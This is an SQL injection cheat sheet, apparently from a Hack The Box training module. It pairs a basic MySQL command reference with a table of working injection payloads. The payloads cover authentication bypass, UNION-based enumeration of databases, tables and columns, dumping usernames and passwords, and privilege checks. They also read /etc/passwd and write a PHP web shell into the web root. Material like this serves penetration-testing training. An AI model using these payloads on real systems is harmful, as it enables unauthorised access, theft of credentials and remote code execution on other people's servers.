Sql Injections

MySQL

Command	Description
General	
`mysql -u root -h docker.hackthebox.eu -P 3306 -p`	login to mysql database
`SHOW DATABASES`	List available databases
`USE users`	Switch to database
Tables	
`CREATE TABLE logins (id INT, ...)`	Add a new table
`SHOW TABLES`	List available tables in current database
`DESCRIBE logins`	Show table properties and columns
`INSERT INTO table_name VALUES (value_1,..)`	Add values to table
`INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)`	Add values to specific columns in a table
`UPDATE table_name SET column1=newvalue1, ... WHERE <condition>`	Update table values
Columns	
`SELECT * FROM table_name`	Show all columns in a table
`SELECT column1, column2 FROM table_name`	Show specific columns in a table
`DROP TABLE logins`	Delete a table
`ALTER TABLE logins ADD newColumn INT`	Add new column
`ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn`	Rename column
`ALTER TABLE logins MODIFY oldColumn DATE`	Change column datatype
`ALTER TABLE logins DROP oldColumn`	Delete column
Output	
`SELECT * FROM logins ORDER BY column_1`	Sort by column
`SELECT * FROM logins ORDER BY column_1 DESC`	Sort by column in descending order
`SELECT * FROM logins ORDER BY column_1 DESC, id ASC`	Sort by two-columns
`SELECT * FROM logins LIMIT 2`	Only show first two results

Command	Description
`SELECT * FROM logins LIMIT 1, 2`	Only show first two results starting from index 2
`SELECT * FROM table_name WHERE <condition>`	List results that meet a condition
`SELECT * FROM logins WHERE username LIKE 'admin%'`	List results where the name is similar to a given string

MySQL Operator Precedence

- Division (`/`), Multiplication (`*`), and Modulus (`%`)
- Addition (`+`) and Subtraction (`-`)
- Comparison (`=`, `>`, `<`, `<=`, `>=`, `!=`, `LIKE`)
- NOT (`!`)
- AND (`&&`)
- OR (`||`)

SQL Injection

Payload	Description
Auth Bypass	
`admin' or '1'='1`	Basic Auth Bypass
`admin')-- -`	Basic Auth Bypass With comments
Auth Bypass Payloads	
Union Injection	
`' order by 1-- -`	Detect number of columns using `order by`
`cn' UNION select 1,2,3-- -`	Detect number of columns using Union injection
`cn' UNION select 1,@@version,3,4-- -`	Basic Union injection
`UNION select username, 2, 3, 4 from passwords-- -`	Union injection for 4 columns
DB Enumeration	
`SELECT @@version`	Fingerprint MySQL with query output
`SELECT SLEEP(5)`	Fingerprint MySQL with no output

Payload	Description
`cn' UNION select 1,database(),2,3-- -`	Current database name
`cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -`	List all databases
`cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -`	List all tables in a specific database
`cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -`	List all columns in a specific table
`cn' UNION select 1, username, password, 4 from dev.credentials-- -`	Dump data from a table in another database
Privileges	
`cn' UNION SELECT 1, user(), 3, 4-- -`	Find current user
`cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -`	Find if user has admin privileges
`cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -`	Find if all user privileges
`cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -`	Find which directories can be accessed through MySQL
File Injection	
`cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -`	Read local file
`select 'file written successfully!' into outfile '/var/www/html/proof.txt'`	Write a string to a local file
`cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -`	Write a web shell into the base web directory